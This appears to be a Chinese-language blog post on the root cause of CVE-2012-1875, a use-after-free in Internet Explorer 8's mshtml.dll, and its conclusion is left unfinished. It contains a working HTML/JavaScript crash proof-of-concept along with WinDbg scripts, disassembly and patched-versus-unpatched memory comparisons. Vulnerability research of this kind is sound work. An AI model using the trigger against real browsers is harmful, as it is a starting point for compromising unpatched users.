Intro
大牛ga1ois在《关于泄漏的艺术》一文中提到CVE-2012-1875是一个可以从脚本层面直接访问的UAF。以前没分析过这种类型的UAF,这两天趁着年后不忙看了一下漏洞成因。
POC
POC来自看雪,按照惯例添加了一些代码方便跟踪整个过程:
<HTML> <DIV id=testfaild> <img id="imgTest"> <div id="imgTest"></div> <input id="4B5F5F4B" onMouseOver="crash();"></input> </DIV> <script language="JavaScript"> function crash() { Math.atan2(0xbabe, "[*] calling crash..."); eval("imgTest").src = ""; Math.atan2(0xbabe, "[*] after set imgTest..."); } function trigger() { var x =document.getElementsByTagName("input"); Math.atan2(0xbabe, "[*] fireEvent onMouseOver 1st..."); x[0].fireEvent("onMouseOver"); Math.atan2(0xbabe, "[*] Before free object..."); testfaild.innerHTML = testfaild.innerHTML; Math.atan2(0xbabe, "[*] After free object..."); Math.atan2(0xbabe, "[*] fireEvent onMouseOver 2nd..."); x[0].fireEvent("onMouseOver"); } trigger(); </script> </HTML>
调试的IE版本:
文件名:mshtml.dll 文件版本:8.00.6001.18702 MD5:D469A0EBA2EF5C6BEE8065B7E3196E5E SHA1:FD6CB9D197BB58C339DEFE6E2C3B03FB3B62B440
崩溃信息
打开POC之后崩溃信息如下:
0:004> g (624.c4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00800008 ebx=00000000 ecx=001cbd68 edx=00000001 esi=001cbd68 edi=02deb980 eip=6363fcc6 esp=02deb918 ebp=02deb924 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc+0x2: 6363fcc6 8b5070 mov edx,dword ptr [eax+70h] ds:0023:00800078=???????? 0:012> kv ChildEBP RetAddr Args to Child 02deb914 63660eed 80020003 001cbd68 02deb934 mshtml!CElement::Doc+0x2 (FPO: [0,0,0]) 02deb924 63660f5a 00000000 00000348 02deb988 mshtml!CElement::GetAtomTable+0x10 02deb934 635b6bb7 038f2cf0 00000003 001cbd01 mshtml!CCollectionCache::GetAtomFromName+0x15 02deb988 635e7b76 002259e8 038f2cf0 00000003 mshtml!CCollectionCache::GetIntoAry+0x74 02deb9cc 635e7c20 0000000e 038f2cf0 02debab8 mshtml!CCollectionCache::GetDispID+0x13e
看起来是某个CElement(实际上是CImgElement,后文会提到)的UAF。根据栈中的调用信息,发现这个CElement来自下面的代码:
.text:635E7AA0 048 mov eax, [edi] .text:635E7AA2 048 mov ecx, edi .text:635E7AA4 048 call dword ptr [eax+8] ; CElementAryCacheItem::MoveTo(long) .text:635E7AA7 044 mov eax, [edi] ; edi = 6363b284 .text:635E7AA7 ; CElementAryCacheItem::`vftable' .text:635E7AA9 044 mov ecx, edi .text:635E7AAB 044 call dword ptr [eax+4] ; CElementAryCacheItem::GetNext .text:635E7AAE 044 mov ebx, eax .text:635E7AB0 044 test ebx, ebx .text:635E7AB2 044 jnz loc_635B6B9B .text:635B6B9B 044 or [ebp+var_8], 0FFFFFFFFh .text:635B6B9F 044 cmp [ebp+arg_14], 0 .text:635B6BA3 044 lea edi, [ebp+var_8] .text:635B6BA6 044 setnz al .text:635B6BA9 044 mov ecx, ebx ; ebx = the object from cache. .text:635B6BAB 044 push eax .text:635B6BAC 048 push [ebp+arg_8] .text:635B6BAF 04C push [ebp+arg_4] .text:635B6BB2 050 call ?GetAtomFromName@CCollectionCache@@CGJPAVCElement@@PBGI_NPAJ@Z
635E7AA4的CElementAryCacheItem::MoveTo以及635E7AAB的CElementAryCacheItem::GetNext是通过调试得到的。可以看到,这个CElement保存在一个类型为CElementAryCacheItem的对象里。
CElementAryCacheItem&CImplPtrAry
根据调试分析,在这个版本的IE中,CElementAryCacheItem的虚表地址是6363b284:
.text:6363B284 ??_7CElementAryCacheItem@@6B@ dd offset ??_ECElementAryCacheItem@@UAEPAXI@Z .text:6363B284 ; DATA XREF: CElementAryCacheItem::CElementAryCacheItem(void)+3o .text:6363B284 ; CCollectionCache::GetDisp(long,ushort const *,uint,CollCacheType,IDispatch * *,int,tagRECT *,int)+19o ... .text:6363B284 ; CElementAryCacheItem::`vector deleting destructor'(uint) .text:6363B288 dd offset ?GetNext@CElementAryCacheItem@@UAEPAVCElement@@XZ ; CElementAryCacheItem::GetNext(void) .text:6363B28C dd offset ?MoveTo@CElementAryCacheItem@@UAEPAVCElement@@J@Z ; CElementAryCacheItem::MoveTo(long) .text:6363B290 dd offset ?UnBind@CCursorConsumer@@UAEJXZ ; CCursorConsumer::UnBind(void) .text:6363B294 dd offset ?ResetContents@CElementAryCacheItem@@UAEXXZ ; CElementAryCacheItem::ResetContents(void) .text:6363B298 dd offset ?DeleteContents@CElementAryCacheItem@@UAEXXZ ; CElementAryCacheItem::DeleteContents(void) .text:6363B29C dd offset ?Length@CElementAryCacheItem@@UAEJXZ ; CElementAryCacheItem::Length(void) .text:6363B2A0 dd offset ?GetAt@CElementAryCacheItem@@UAEPAVCElement@@J@Z ; CElementAryCacheItem::GetAt(long) .text:6363B2A4 dd offset ?InsertElementAt@CElementAryCacheItem@@UAEJJPAVCElement@@@Z ; CElementAryCacheItem::InsertElementAt(long,CElement *) .text:6363B2A8 dd offset ?AppendElement@CElementAryCacheItem@@UAEJPAVCElement@@@Z ; CElementAryCacheItem::AppendElement(CElement *) .text:6363B2AC dd offset ?DeleteAt@CElementAryCacheItem@@UAEXJ@Z ; CElementAryCacheItem::DeleteAt(long)
显然这有点像一个vector。通过进一步的分析,发现是CImplPtrAry的一个子类,对象中部分偏移所代表的含义如下:
+4 当前数组的大小,32bit系统除以4等于对象的个数。 +8 当前数组的capacity,Append的时候如果超过这个大小,会重新分配一个空间。 +14 当前数组的Buffer,Append的对象的指针会保存在这里。
如此看来,这个UAF的原因是某个CElement被保存在一个CElementAryCacheItem对象里,但这个CElement被释放之后,并没有从这个数组中移除,之后的代码直接取出对象并使用,导致UAF。
因此,通过监视CElementAryCacheItem添加和删除对象的情况,可以得知是哪一个CElementAryCacheItem对象以及哪一个CElement出的问题。经过测试,IE中只使用了CElementAryCacheItem::AppendElement(CElement *)进行添加对象,CElementAryCacheItem创建之初并没有分配Buffer,而是在第一次Append的时候分配空间,之后每一次Append会检查是否超过了当前的容量,如果超过则分配新的空间,然后复制原始数据,并且Append新的对象,最后释放掉旧的空间,这一点上很像vector;释放的时候使用的是CElementAryCacheItem::ResetContents(void),ResetContents只是重置了个数,并没有清除掉数组Buffer中的内容。
对象跟踪
需要说明的是,通过调试可以发现,那个UAF的CElement对象实际上的类型是CImgElement,是CElement的子类。最初我是通过CElement::CElement以及CElement::~CElement进行监视,这样的Log比较多,后来通过KK的文章以及调试,确定了对象是CImgElement,所以,用于监视的WinDbg脚本应该是这样的:
bc * bu jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g" bu CImgElement::CImgElement ".printf \"[*] CImgElement created: %p\", eax;.echo;g" bu CElement::~CElement ".printf \"[*] CElement freed: %p\", ecx;.echo;g" bu CElementAryCacheItem::AppendElement ".printf \"[*] Append %08x to %08x\", poi(esp+4), ecx;.echo;g" bu CElementAryCacheItem::ResetContents ".printf \"[*] Reset %p\", ecx;.echo;g"
分段列出Log,便于分析:
[*] CImgElement created: 00215ae8 [*] Reset 0021b990 [*] Reset 0021b9c0 [*] Reset 00225d08 [*] Reset 00225d38 [*] Reset 00225d68 [*] Reset 00225d98 [*] Reset 00225dc8 [*] Reset 00226950 [*] Reset 00226980 [*] Reset 002269b0 [*] Reset 002269e0 [*] Reset 00226a10 [*] Append 001fca38 to 00226950 [*] Append 00215ae8 to 00226950 [*] Append 00215ae8 to 00225d38 [*] Append 0021aad0 to 00226950 [*] Append 002263c0 to 00226950 [*] Append 0021f818 to 00225d98 [*] Reset 02deee60 [*] Append 002263c0 to 02deee60 [*] fireEvent onMouseOver 1st...
上述代码是执行x[0].fireEvent(“onMouseOver”);前的Log,可以看到,创建的CImgElement对象是00215ae8,被插入到了00226950和00225d38两个CElementAryCacheItem中。
[*] calling crash... [*] Reset 02de91a0 [*] Append 00215ae8 to 02de91a0 [*] Append 0021aad0 to 02de91a0 [*] after set imgTest...
这里是触发onMouseOver后执行crash函数中的Log,可以看到CImgElement对象00215ae8被加入到了02de91a0这个CElementAryCacheItem中。
[*] Before free object... [*] Reset 02decd98 [*] Append 001fca38 to 02decd98 [*] Reset 02decd98 [*] Append 001fca38 to 02decd98 [*] CImgElement created: 00232a80 [*] CElement freed: 03fb9fc0 [*] CElement freed: 0021aad0 [*] CElement freed: 00215ae8 [*] CElement freed: 002328e8 [*] CElement freed: 00200ab8 [*] CElement freed: 00200a78 [*] CElement freed: 00232868 [*] CElement freed: 001fe368 [*] After free object...
这一段是执行testfaild.innerHTML = testfaild.innerHTML;时的Log,KK的文章中说这一段代码会导致对象被释放并且重新创建,这个Log展示的和描述相符。其中,CImgElement对象00215ae8已经被释放。
现在,00215ae8被加入到了三个CElementAryCacheItem中,分别是00226950、00225d38以及02de91a0,通过最后一段日志,可以看到发生问题的:
[*] fireEvent onMouseOver 2nd... [*] Reset 00225d38 [*] Reset 00226950 [*] Append 001fca38 to 00226950 [*] Append 00232a80 to 00226950 [*] Append 00232a80 to 00225d38 [*] Append 00232c20 to 00226950 [*] Append 00232d90 to 00226950 [*] calling crash... (624.c4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=00215ae8 edx=01800000 esi=00215ae8 edi=02dec3e8 eip=6363fccb esp=02dec380 ebp=02dec38c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc+0x7: 6363fccb 8b400c mov eax,dword ptr [eax+0Ch] ds:0023:0000000c=????????
可以看到,出问题的对象确实是00215ae8的那个CImgElement,而由于00225d38和00226950已经reset。所以,目前可以确定,第一次进入crash函数的时候创建的CElementAryCacheItem中残留了已经释放的CImgElement。
另一个CElementAryCacheItem
然而,实际情况有些不太一样。我尝试着调试crash函数中的Append相关的代码,发现被Append到这个CElementAryCacheItem中的元素,是HTML代码中包含了相同名字的元素,在上一层代码,也就是CCollectionCache::BuildNamedArray函数中,会遍历另外一个CElementAryCacheItem,然后进行比较Id,只有Id为imgTest才会被Append。CCollectionCache::BuildNamedArray完毕之后,会返回CCollectionCache::GetDisp,然后执行到这个地方:
.text:635C4438 014 mov edi, [ebp+8] .text:635C443B 014 lea eax, [esp+14h] ; .text:635C443B ; eax = local .text:635C443F 014 push eax .text:635C4440 018 mov eax, edi .text:635C4442 018 call ?GetFreeIndex@CCollectionCache@@AAEJPAJ@Z ; CCollectionCache::GetFreeIndex(long *) .text:635C4447 014 cmp eax, esi .text:635C4449 014 mov [esp+10h+var_0], eax .text:635C444D 014 jnz loc_63793996 .text:635C4453 014 mov esi, [esp+14h] .text:635C4457 014 push esi .text:635C4458 018 push [ebp+arg_14] .text:635C445B 01C mov eax, edi ; after build named ptr array. .text:635C445D 01C call ?CreateCollectionHelper@CCollectionCache@@QAEJPAPAUIDispatch@@J@Z ; CCollectionCache::CreateCollectionHelper(IDispatch * *,long) .text:635C4462 014 test eax, eax .text:635C4464 014 mov [esp+10h+var_0], eax .text:635C4468 014 jnz loc_63793996 .text:635C446E 014 imul esi, 3Ch .text:635C4471 014 add esi, [edi+0Ch] .text:635C4474 014 mov eax, esi .text:635C4476 014 call ?Init@CacheItem@CCollectionCache@@QAEXXZ ; CCollectionCache::CacheItem::Init(void) .text:635C447B 014 push [ebp+arg_8] ; unsigned __int16 * .text:635C447E 018 lea eax, [esi+0Ch] .text:635C4481 018 push eax ; int .text:635C4482 01C call ?Set@CStr@@QAEJPBG@Z ; CStr::Set(ushort const *) .text:635C4487 014 test eax, eax .text:635C4489 014 mov [esp+10h+var_0], eax .text:635C448D 014 jnz loc_63793996 .text:635C4493 014 push 18h ; dwBytes .text:635C4495 018 push 8 ; dwFlags .text:635C4497 01C push _g_hProcessHeap ; hHeap .text:635C449D 020 call ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x) .text:635C44A3 014 test eax, eax .text:635C44A5 014 jz loc_637939A3 .text:635C44AB 014 mov ecx, eax ; CElementAryCacheItem .text:635C44AD 014 call ??0CElementAryCacheItem@@QAE@XZ ; CElementAryCacheItem::CElementAryCacheItem(void) .text:635C44B2 .text:635C44B2 loc_635C44B2: ; CODE XREF: CCollectionCache::GetFreeIndex(long *)+1CF5F8j .text:635C44B2 014 test eax, eax .text:635C44B4 014 mov [esi+8], eax ; save to +8 offset .text:635C44B4 ; esi 是数组的某一项 .text:635C44B7 014 jz loc_6380BEF3 .text:635C44BD 014 add eax, 8 ; +8 .text:635C44C0 014 push 0 .text:635C44C2 018 push eax .text:635C44C3 01C lea eax, [esp+18h+target_array] .text:635C44C7 01C call ?Copy@CImplPtrAry@@IAEJABVCImplAry@@H@Z ; CImplPtrAry::Copy(CImplAry const &,int) .text:635C44CC 014 mov eax, [ebp+arg_14]
这段代码会分配一个新的CElementAryCacheItem,然后使用CImplPtrAry::Copy将之前监视到的那个CElementAryCacheItem复制到新的CElementAryCacheItem中,之前的那个只是一个局部变量。之后,这个CElementAryCacheItem会保存在CCollectionCache中。构造完毕的结构如下(由于是另外一个快照的,所以CImgElement的地址变成了001f8850,新的CElementAryCacheItem地址是001ebf50):
002248a0(CCollectionCache) ... +0c 040b9018(Array Buffer) ... 040b9018(Array, size 0xf*0x3c) +3c*0(040b9018) ... +3c*e(040b9360) ... +8 001ebf50(CElementAryCacheItem) +14 001ebf80(Buffer) +0 001f8850(CImgElement) +4 001d8228(CDivElement)
解释一下,CCollectionCache偏移0xC处,是一个数组的Buffer地址。这个数组元素的结构未知,这里延续KK文章中的描述,称之为CACHE_ITEMS。CACHE_ITEMS的大小是0x3C,总共有0xF个,发生UAF的元素保存在最后一项也就是下标为0xE。CACHE_ITEMS的偏移0x8处是一个CElementAryCacheItem结构,这个结构之前已经给出,偏移0x14处是数组的Buffer,里面保存着CImgElement和CDivElement,也就是001f8850和001d8228。内存Dump展示如下:
0:012> dd 002248a0 L 4 002248a0 6363332c 0000003c 00000013 040b9018 0:012> dd 040b9018 + 0xe*0x3c L 0x3c/4 040b9360 00000001 00221268 001ebf50 0022128c 040b9370 00000000 00000000 ffffffff 00000000 040b9380 00000000 00000008 00000022 00000000 040b9390 000f4240 002dc6bf 00000000 0:012> dd 001ebf50 L 8 001ebf50 6363b284 00000000 6363332c 00000008 001ebf60 00000004 001ebf80 abababab abababab 0:012> dd 001ebf80 L 4 001ebf80 001f8850 001d8228 baadf00d baadf00d
此时,可以通过硬件断点,跟踪这个CACHE_ITEMS的访问,最后可以发现,确实是这个数组中的CElementAryCacheItem被取出,进而读取里面已经释放的CImgElement。
成因分析
有了对CElementAryCacheItem的理解,以及对象释放后对三个包含了CElementAryCacheItem的观察,发现在CImgElement释放后,这些CElementAryCacheItem中依然保存着CImgElement的指针。不同的是,另外两个CElementAryCacheItem在使用前检查了某个标志,然后调用CElementAryCacheItem::ResetContents避免了UAF的发生。所以猜测这个UAF的原因是某处代码忘记调用CElementAryCacheItem::ResetContents所致。
为了证明这个观点,我企图通过调试补丁后的程序得到答案。然而,通过修改WinDbg脚本监视ResetContents并没有得到我想要的结果,在补丁后的IE中,并不会Reset那个CElementAryCacheItem::ResetContents。此时,可以确定是某处标志设置或检查不严格导致了这个UAF。
经过漫长的对比调试,得到了最终的结果。最后出现不同的代码位于此处:
.text:635C4374 014 mov eax, [ebx+0Ch] .text:635C4377 014 movsx ecx, word ptr [eax+esi+24h] .text:635C437C 014 mov edx, [eax+esi+38h] ; read edx from address .text:635C4380 014 imul ecx, 3Ch .text:635C4383 014 cmp edx, [ecx+eax+38h] .text:635C4387 014 jnz loc_6379340A
在这里,ebx是CCollectionCache,所以eax就是CACHE_ITEMS的Buffer,而esi是0xE,也就是读取最后一个元素。此时,最后一个元素内存是这样的:
0:012> dd 040b9018 + 3c*e L 3c/4 040b9360 00000001 00221268 001ebf50 0022128c 040b9370 00000000 00000000 ffffffff 00000000 040b9380 00000000 00000008 00000022 00000000 040b9390 000f4240 002dc6bf 00000000
之后,会从CACHE_ITEMS的偏移0x24读出另外一个Index,再用这个Index去索引另外一个CACHE_ITEMS。可以看到偏移0x24处的值是8。也就是说,这里会用CACHE_ITEMS[0xE]和CACHE_ITEMS[0x8]的最后一个元素做对比。Patch前两个值的内容一样,均为0,跳转不会实现。而补丁后的值则不同,跳转不会实现。以下是在mshtml_8.00.6001.23580中得到的结果对比:
0:017> dd 02a68ce8 + 3c*8 L 3c/4 02a68ec8 00000000 00000000 0016bc50 00000000 02a68ed8 00000000 00000000 ffffffff 00000000 02a68ee8 00000000 00000000 0000000a 00000001 02a68ef8 00145856 0028b0aa 00000002 0:017> dd 02a68ce8 + 3c*e L 3c/4 02a69030 00000001 0017c8d8 0016bd50 0016bd34 02a69040 00000000 00000000 ffffffff 00000000 02a69050 00000000 00000008 00000022 00000000 02a69060 000f4240 002dc6bf 00000001
可见,两个的值不同,0x8的是2,0xE的是1。在补丁后的版本,也就是mshtml_8.00.6001.23580中,修改CACHE_ITEMS[0x8]标志位1,使得跳转失败,该POC还是会导致UAF。所以,可以确定,导致该UAF的原因是某处忘记设置了CACHE_ITEMS的标志。
有了这个地方,通过硬件断点即可找到补丁后的代码更新标志的地方:
.text:3C77389D loc_3C77389D: ; CODE XREF: CMarkup::EnsureCollections(long,long *)+21Dj .text:3C77389D 010 C7 44 01 2C+mov dword ptr [ecx+eax+2Ch], 1 .text:3C7738A5 010 8B 4E 0C mov ecx, [esi+0Ch] .text:3C7738A8 010 8D 4C 01 38 lea ecx, [ecx+eax+38h] .text:3C7738AC 010 FF 01 inc dword ptr [ecx] ; update flag
而使用硬件断点监视补丁前的的程序,没有看到更新这个标志的地方。
结语
Coming soon…
参考文章
- 1. CVE-2012-1875:mshtml.dll Use-After-Free漏洞分析,http://bbs.pediy.com/showthread.php?t=152240
- 2. CVE-2012-1875:Microsoft IE SAME_ID UAF,http://zenhumany.blog.163.com/blog/static/1718066332013926101149471/